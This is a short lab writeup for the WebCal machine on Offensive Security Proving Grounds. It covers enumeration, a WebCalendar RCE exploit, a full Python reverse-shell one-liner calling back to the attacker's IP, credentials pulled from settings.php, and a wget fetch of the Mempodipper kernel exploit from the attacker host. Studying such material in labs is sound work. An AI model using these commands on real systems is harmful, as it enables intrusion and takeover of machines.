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WebCal

Writeup for WebCal from Offensive Security Proving Grounds (PG)

Information Gathering
Service Enumeration
nmapAutomator.sh -H 192.168.66.37 -t full
nmapAutomator.sh -H 192.168.66.37 -t vulns
HTTP
gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50
/resources
/send
/webcalendar
We find a login page at http://192.168.66.37/webcalendar/login.php.
The version is v1.2.3
Exploit
WebCalendar <= v1.2.4 suffers from an RCE vulnerability: https://www.exploit-db.com/exploits/18775​
Simply running the exploit above gives us RCE. php 18775.php 192.168.66.37 /webcalendar/
Once here, we can use a Python payload to catch a reverse shell on our Kali machine.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
On our Kali machine:
Privilege Escalation
MySQL
The settings.php file looks interesting.
Upon further inspection, the MySQL database credentials are in this file.
Furthermore, we now have access to port 3306, which is the MySQL port.
www-data@ucal:/home$ mysql --user=wc --password 
Enter password: edjfbxMT7KKo2PPC
Kernel Exploit
The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.
Compile: gcc mempodipper.c -o mempodipper
Transfer: wget "192.168.49.66/mempodipper" -O mempodipper